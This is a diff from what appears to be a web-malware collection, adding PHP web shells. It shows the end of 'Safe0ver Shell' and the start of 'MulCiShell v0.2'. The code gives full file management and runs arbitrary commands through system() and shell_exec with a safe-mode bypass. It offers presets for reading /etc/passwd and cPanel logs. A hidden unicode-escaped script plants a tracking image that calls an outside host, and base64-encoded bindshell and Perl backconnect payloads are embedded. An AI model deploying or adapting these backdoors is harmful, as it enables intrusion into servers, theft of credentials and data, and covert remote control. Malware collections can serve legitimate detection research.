($to > count($filelist)-1) + $to = count($filelist)-1; + $Dcontents = array(); + For ($Fi = $from; $Fi <= $to; $Fi++) { + $Dcontents[] = $filelist[$Fi]; + } + + } + else { + $Dcontents = $filelist; + } + + $tdcolors = array("lighttd", "darktd"); + + while (list ($key, $file) = each ($Dcontents)) { + if (!$tdcolor=arrval(each($tdcolors))) { + reset($tdcolors); + $tdcolor = arrval(each($tdcolors)); } + + if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */ + /* <!-- Dirname --> */ + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( "[$file]", "cmd=dir&dir=$dir/$file") .sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>".sp(2)."\n"; + /* <!-- Rename --> */ + if ( ($file != ".") && ($file != "..") ) + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Delete --> */ + if ( ($file != ".") && ($file != "..") ) + echo sp(3).buildUrl( $img["Delete"], "cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- End of Actions --> */ + echo "&nbsp;&nbsp;</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;</td>\n"; + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + echo "<strong>D</strong>"; + if ( @is_readable("$dir/$file") ) { + echo "<strong>R</strong>"; + } + if (function_exists('is_writeable')) { + if ( @is_writeable("$dir/$file") ) { + echo "<strong>W</stong>"; + } + } + else { + echo "<strong>(W)</stong>"; + } + if ( @is_executable("$dir/$file") ) { + echo "<Strong>X<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + + } + else { /* <!-- Then it must be a File... --> */ + /* <!-- Filename --> */ + if ( @is_readable("$dir/$file") ) + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; + else + echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; + /* <!-- Actions --> */ + echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; + /* <!-- Rename --> */ + echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; + /* <!-- Edit --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; + /* <!-- Copy --> */ + echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; + /* <!-- Move --> */ + if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) + echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; + /* <!-- Delete --> */ + echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; + /* <!-- Download --> */ + echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; + /* <!-- Execute --> */ + if ( @is_executable("$dir/$file") ) + echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; + /* <!-- End of Actions --> */ + echo sp(2)."</center></td>\n"; + /* <!-- Size --> */ + echo "<td NOWRAP align=\"right\" class=\"top right $tdcolor\" NOWRAP >\n"; + $size = @filesize("$dir/$file"); + If ($size != false) { + $filesizes += $size; + echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>"; + } + else + echo "&nbsp;&nbsp;<strong>0 B<strong>"; + echo "&nbsp;&nbsp;</td>\n"; + + /* <!-- Attributes --> */ + echo "<td NOWRAP class=\"top right $tdcolor\">&nbsp;&nbsp;\n"; + + if ( @is_readable("$dir/$file") ) + echo "<strong>R</strong>"; + if ( @is_writeable("$dir/$file") ) + echo "<strong>W</stong>"; + if ( @is_executable("$dir/$file") ) + echo "<Strong>X<strong>"; + if (function_exists('is_uploaded_file')){ + if ( @is_uploaded_file("$dir/$file") ) + echo "<Strong>U<strong>"; + } + else { + echo "<Strong>(U)<strong>"; + } + echo "&nbsp;&nbsp;</td>\n"; + /* <!-- Date --> */ + echo "<td NOWRAP class=\"top right $tdcolor\" NOWRAP>\n"; + echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;"; + echo "</td>"; + echo "</tr>\n"; + } + } + + echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n"; + echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Klas�r,&nbsp;".@count ($filen)."&nbsp;Dosya&nbsp;&nbsp;\n"; + echo "</td><td NOWRAP class=\"silver border noleft\">\n"; + echo "&nbsp;&nbsp;Toplam Dosya Boyutu:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n"; + + function printpagelink($a, $b, $link = ""){ + if ($link != "") + echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>"; + else + echo "<b>| $a - $b |</b>"; + } + + if ( count($filelist)-1 > $Pmax ) { + echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>"; + $Fi = 0; + while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) { + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = ($Fi + 1) * $Pmax - 1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + echo "&nbsp;&nbsp;&nbsp;"; + $Fi++; + } + $from = $Fi*$Pmax; + while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++; + $to = count($filelist)-1; + if ($Fi == $Pidx) + $link=""; + else + $link="$SFilename?$urlAdd"."cmd=$cmd&dir=$dir&Pidx=$Fi"; + printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link); + + + echo "</center></td></tr></table></td></tr>"; + } + + + echo "</table>\n<br><table NOWRAP>"; + + if ($isGoodver) { + echo "<tr><td class=\"silver border\">&nbsp;<strong>PHP Versiyonu:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n"; + } + else { + echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n"; + } + /* <!-- Other Actions --> */ + echo "<tr><td class=\"silver border\">&nbsp;<strong>Diger Islemler:&nbsp;&nbsp;</strong>&nbsp;</td>\n"; + echo "<td>&nbsp;<b>".buildUrl( "| Yeni Dosya |", "cmd=newfile&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Yeni Klas�r |", "cmd=newdir&lastcmd=dir&lastdir=$dir")."\n".sp(3). + buildUrl( "| Dosya Y�kle |", "cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir"). "</b>\n</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>IP Adresin:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n"; + echo "<tr><td class=\"silver border\">&nbsp;<strong>Bulundugun Klas�r:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n"; + echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Semboller:&nbsp;&nbsp;</strong&nbsp;</td><td>\n"; + echo "<table NOWRAP>"; + echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Klas�r.</td></tr>\n"; + echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Okunabilir.</td></tr>\n"; + echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Yazilabilir.</td></tr>\n"; + echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Komut Calistirilabilir.</td></tr>\n"; + echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n"; + echo "</table></td>"; + echo "</table>"; + echo "<br>"; + @closedir($h); + } + elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/ + echo system("$file"); + } + elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */ + echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (Mydeldir($file)==false) { + echo "Could not remove \"$file\"<br>Permission denied, or directory not empty..."; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" and all it's subdirectories ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"deldir\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; + } + elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ; + if ($auth == "yes") { + if (@unlink($file)==false) { + echo "Could not remove \"$file\"<br>"; + } + else { + echo "Successfully removed \"$file\"<br>"; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form>"; + } + else { + echo "Are you sure you want to delete \"$file\" ? + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"delfile\"> + <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\"> + <input type=\"hidden\" name=\"file\" value=\"$file\"> + <input type=\"hidden\" name=\"auth\" value=\"yes\"> + + <input type=\"submit\" value=\"Yes\"></form> + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>"; + } + echo "</td></tr></center>"; + } + elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */ + echo "<center><table><tr><td NOWRAP>"; + $i = 1; + while (file_exists("$lastdir/newfile$i.txt")) + $i++; + $file = fopen("$lastdir/newfile$i.txt", "w+"); + if ($file == false) + echo "Could not create the new file...<br>"; + else + echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>"; + echo " + <form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"> + </form></center> + </td></tr></table></center> "; + } + elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */ + echo "<center><table><tr><td NOWRAP>" ; + $i = 1; + while (is_dir("$lastdir/newdir$i")) + $i++; + $file = mkdir("$lastdir/newdir$i", 0777); + if ($file == false) + echo "Could not create the new directory...<br>"; + else + echo "Successfully created: \"$lastdir/newdir$i\"<br>"; + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"> + <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"> + <input type=\"hidden\" name=\"dir\" value=\"$lastdir\"> + <input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"> + </form></center></td></tr></table></center>"; + } + elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */ + $contents = ""; + $fc = @file( $file ); + while ( @list( $ln, $line ) = each( $fc ) ) { + $contents .= htmlentities( $line ) ; + } + echo "<br><center><table><tr><td NOWRAP>"; + echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n"; + echo "<strong>EDIT FILE: </strong>$file<br>\n"; + echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n"; + echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n"; + echo "<input type=\"submit\" value=\"Save\">"; + echo "</form>"; + echo "</td></tr></table></center>"; + } + elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */ + $fo = fopen($file, "w"); + $wrret = fwrite($fo, stripslashes($contents)); + $clret = fclose($fo); + + } + elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */ + $downloadfile = urldecode($file); + if (function_exists("basename")) + $downloadto = basename ($downloadfile); + else + $downloadto = "download.ext"; + if (!file_exists("$downloadfile")) + echo "The file does not exist"; + else { + $size = @filesize("$downloadfile"); + if ($size != false) { + $add="; size=$size"; + } + else { + $add=""; + } + header("Content-Type: application/download"); + header("Content-Disposition: attachment; filename=$downloadto$add"); + $fp=fopen("$downloadfile" ,"rb"); + fpassthru($fp); + flush(); + } + } + elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */ + ?> + <center> + <table> + <tr> + <td NOWRAP> + Dosya Y�kleme Sekmesine Tikladiniz ! + <br> Eger Y�klemek istediginiz Dosya mevcut ise �zerine Yazilir.<br><br> + <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post"> + <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776"> + <input type="hidden" name="cmd" value="uploadproc"> + <input type="hidden" name="dir" value="<?php echo $dir ?>"> + <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>"> + Dosya Y�kle:<br> + <input size="75" name="userfile" type="file"><br> + <input type="submit" value="Y�kle"> + </form> + <br> + <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST"> + <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>"> + <input type="hidden" name="dir" value="<?php echo $lastdir ?>"> + <input tabindex="0" type="submit" value="Iptal"> + </form> + </td> + </tr> + </table> + </center> + + <?php + } + elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */ + echo "<center><table><tr><td NOWRAP>"; + if (file_exists($userfile)) + $res = copy($userfile, "$dir/$userfile_name"); + echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n"; + if ($res) { + echo "Basariyla Y�klendi \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>"; + echo "Y�klenen Dosya Adi: \"$userfile_name\".\n<br>Dosya Adi: \"$userfile\".\n<br>"; + echo "Dosya Boyutu: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>"; + } + else { + echo "Y�klenemedi..."; + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form></center>" ; + echo "<br><br></td></tr></table></center>"; + } + elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */ + echo "<hr>"; + $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) { + echo spacetonbsp(@htmlentities($line))."<br>\n"; + } + echo "<hr>"; + } + elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */ + if (function_exists('is_dir')) { + if (is_dir("$oldfile")) { + $objname = "Directory"; + $objident = "Directory"; + } + else { + $objname = "Filename"; + $objident = "file"; + } + } + echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n"; + If (empty($newfile) != true) { + echo "<center>"; + $return = @rename($oldfile, "$olddir$newfile"); + if ($return) { + echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\""; + } + else { + if ( @file_exists("$olddir$newfile") ) { + echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again..."; + } + else { + echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; + } + } + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Safe0ver'a D�n\"></form></center>" ; + } + else { + $dpos = strrpos($oldfile, "/"); + if (strval($dpos)!="") { + $olddir = substr($oldfile, 0, $dpos+1); + } + else { + $olddir = "$lastdir/"; + } + $fpos = strrpos($oldfile, "/"); + if (strval($fpos)!="") { + $inputfile = substr($oldfile, $fpos+1); + } + else { + $inputfile = ""; + } + echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n"; + echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n"; + echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n"; + echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n"; + echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n"; + echo "Rename \"$oldfile\" to:<br>\n"; + echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">"; + echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>"; + echo "</td></tr></table></center>"; + } + } + else if ( $cmd == "con") { + + ?> + <table> + <tr><td>&nbsp;</td> + </tr></table> + <?php + } + else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */ + $isMainMenu = true; + ?> + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="border"> + <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center> + </td> + </tr> + </table> + <br> + <center> + <table border="0" NOWRAP> + <tr> + <td valign="top" class="silver border"> + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>##Safe0ver##</strong></font>", "cmd=dir&dir=.").sp(2); ?> </td> + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP><span class="style5"> Safe0ver Shell Piyasada Bulunan Bir Cok Shell'in Kodlarindan(c99,r57 vs...) Sentezlenerek Kodlanmistir.Entegre Olarak Bypass �zelligi Eklenmis Ve B�ylece Tahrip G�c� Y�kseltilmistir.Yazilimimiz Hic bir Virus,worm,trojan gibi Kullaniciyi Tehdit Eden Veya S�m�ren yazilimlar Icermemektedir.<p>--------------------------<p>Bypass Kullan�m:<b>Cat /home/evilc0der/public_html/config.php</b> Gibi Olmalidir.<br> + </span></td> + </tr> + </table> + <br><p><br>Safe Mode ByPAss<p><form method="POST"> + <p align="center"><input type="text" size="40" value="<? if($_POST['dizin'] != "") { echo $_POST['dizin']; } else echo $klasor;?>" name="dizin"> + <input type="submit" value="�alistir"></p> + </form> + <form method="POST"> + <p align="center"><select size="1" name="dizin"> + <option value="uname -a;id;pwd;hostname">Sistem Bilgisi</option> + <option value="cat /etc/passwd">cat /etc/passwd</option> + <option value="cat /var/cpanel/accounting.log">cat /var/cpanel/accounting.log</option> + <option value="cat /etc/syslog.conf">cat /etc/syslog.conf</option> + <option value="cat /etc/hosts">cat /etc/hosts</option> + <option value="cat /etc/named.conf">cat /etc/named.conf</option> + <option value="cat /etc/httpd/conf/httpd.conf">cat /etc/httpd/conf/httpd.conf</option> + <option value="netstat -an | grep -i listen">A�ik Portlar</option> + <option value="ps -aux">�alisan Uygulamalar</option> + </select> <input type="submit" value="�alistir"></p> + </form> + ------------------------------------------------------------------------------------<p> + <? + $evilc0der=$_POST['dizin']; + if($_POST['dizin']) + { + ini_restore("safe_mode"); + ini_restore("open_basedir"); + $safemodgec = shell_exec($evilc0der); + echo "<textarea rows=17 cols=85>$safemodgec</textarea>"; + } + ?> + </center> + <br> + <?php + } + + if ($cmd != "downl") { + if ( $isMainMenu != true) { + ?> + + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" style="class="silver border"> + <center><strong> + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp; + &nbsp;&nbsp;&nbsp;&nbsp; + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;R00T&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp; + </strong></center> + </td> + </tr> + </table> + <br> + <?php + } + ?> + <table width=100% border="0" cellpadding="0" cellspacing="0"> + <tr> + <td width="100%" class="silver border"> + <center>&nbsp;<?php include ($a.$b.$c); echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center> + </td> + </tr> + </table> + </td> + </tr> + </table> + + <?php + } + + ?> + <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/shellzx.txt b/web-malware-collection-master/Backdoors/PHP/shellzx.txt new file mode 100755 index 0000000..fa39313 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/shellzx.txt @@ -0,0 +1,1461 @@ +<?php +#/\/\/\/\/\ MulCiShell v0.2 - Edited By KingDefacer/\/\/\/\/\/\/\# +# Updates from version 1.0# +# 1) Fixed MySQL insert function +# 2) Fixed trailing dirs +# 3) Fixed file-editing when set to 777 +# 4) Removed mail function (who needs it?) +# 5) Re-wrote & improved interface +# 6) Added actions to entire directories +# 7) Added config+forum finder +# 8) Added MySQL dump function +# 9) Added DB+table creation, DB drop, table delete, and column+table count +# 10) Updated security-info feature to include more useful details +# 11) _Greatly_ Improved file browsing and handling +# 12) Added banner +# 13) Added DB-Parser and locator +# 14) Added enumeration function +# 15) Added common functions for bypassing security restrictions +# 16) Added bindshell & backconnect (needs testing) +# 17) Improved command execution (alts) +#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/# +@ini_set("memory_limit","256M"); +@set_magic_quotes_runtime(0); +session_start(); +ob_start(); +$start=microtime(); +if(isset($_GET['theme'])) $_SESSION['theme']=$_GET['theme']; +//Thanks korupt ;) +$backdoor_c="DQojaW5jbHVkZSA8YXNtL2lvY3Rscy5oPg0KI2luY2x1ZGUgPHN5cy90aW1lLmg+DQojaW5jbHVkZSA8c3lzL3NlbGVjdC5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN0ZGludC5oPg0KI2luY2x1ZGUgPHB0aHJlYWQuaD4NCg0Kdm9pZCAqQ2xpZW50SGFuZGxlcih2b2lkICpjbGllbnQpDQp7DQoJaW50IGZkID0gKGludCljbGllbnQ7DQoJZHVwMihmZCwgMCk7DQoJZHVwMihmZCwgMSk7DQoJZHVwMihmZCwgMik7DQoJaWYoZm9yaygpID09IDApDQoJCWV4ZWNsKCIvYmluL2Jhc2giLCAicmVzbW9uIiwgMCk7DQoJY2xvc2UoZmQpOw0KCXJldHVybiAwOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KCWludCBtc29jaywgY3NvY2ssIGkgPSAxOw0KCXB0aHJlYWRfdCB0aHJlYWQ7DQoJc3RydWN0IHNvY2thZGRyIHNhZGRyOw0KCXN0cnVjdCBzb2NrYWRkcl9pbiBzYWRkckluOw0KICAgIGludCBwb3J0PWF0b2koYXJndlsxXSk7DQoJaWYoKG1zb2NrID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkpID09IC0xKQ0KCQlyZXR1cm4gLTE7DQoNCglzYWRkckluLnNpbl9mYW1pbHkJCT0gQUZfSU5FVDsNCglzYWRkckluLnNpbl9hZGRyLnNfYWRkcgk9IElOQUREUl9BTlk7DQoJc2FkZHJJbi5zaW5fcG9ydAkJPSBodG9ucyhwb3J0KTsNCiAgIA0KCW1lbWNweSgmc2FkZHIsICZzYWRkckluLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyX2luKSk7DQoJc2V0c29ja29wdChtc29jaywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAoY2hhciAqKSZpLCBzaXplb2YoaSkpOw0KIA0KCWlmKGJpbmQobXNvY2ssICZzYWRkciwgc2l6ZW9mKHNhZGRyKSkgIT0gMCl7DQoJCWNsb3NlKG1zb2NrKTsNCgkJcmV0dXJuIC0xOw0KCX0NCiANCglpZihsaXN0ZW4obXNvY2ssIDEwKSA9PSAtMSl7DQoJCWNsb3NlKG1zb2NrKTsNCgkJcmV0dXJuIC0xOw0KCX0NCiANCgl3aGlsZSgxKXsNCgkJaWYoKGNzb2NrID0gYWNjZXB0KG1zb2NrLCBOVUxMLCBOVUxMKSkgIT0gLTEpew0KCQkJcHRocmVhZF9jcmVhdGUoJnRocmVhZCwgMCwgaGFuZGxlciwgKHZvaWQgKiljc29jayk7DQoJCX0NCgl9DQoJDQoJcmV0dXJuIDE7DQp9"; +$backconnect_perl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KbXkgKCRpYWRkciwkcG9ydCwkY21kKT1AQVJHVjsNCm15ICRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpYWRkcikpOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90byk7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERJTiwiPiZTT0NLRVQiKTsNCnByaW50IFNPQ0tFVCAiU2hlbGwgdGVzdFxuIjsNCnByaW50IGV4ZWMoJGNtZCk7DQpjbG9zZShTVERJTik7DQpjbG9zZShTVERPVVQpOw0K"; +$pl_scan="DQoJIyEvdXNyL2Jpbi9wZXJsDQp1c2Ugd2FybmluZ3M7DQp1c2Ugc3RyaWN0Ow0KdXNlIGRpYWdub3N0aWNzOw0KdXNlIElPOjpTb2NrZXQ6OklORVQ7DQpzdWIgdXNhZ2UNCnsNCglkaWUoIiQwIGhvc3Qgc3RhcnRwb3J0IGVuZHBvcnQKIik7DQp9DQp1c2FnZSB1bmxlc3MoQEFSR1Y+MSk7DQpteSgkaG9zdCwkcywkZSk9QEFSR1Y7DQpmb3JlYWNoKCRzLi4kZSkNCnsNCglteSAkc29jaz1JTzo6U29ja2V0OjpJTkVULT5uZXcNCgkoDQoJCVBlZXJBZGRyPT4kaG9zdCwNCgkJUGVlclBvcnQ9PiRfLA0KCQlQcm90bz0+J3RjcCcsDQoJCVRpbWVvdXQ9PjINCgkpOw0KCXByaW50ICJQb3J0ICBvcGVuCiIgaWYgKCRcc29jayk7DQp9DQoNCgk="; +$access_control=0; +$md5_user="KingDefacer"; +$md5_pass="123"; +$user_agent="KingDefacer"; 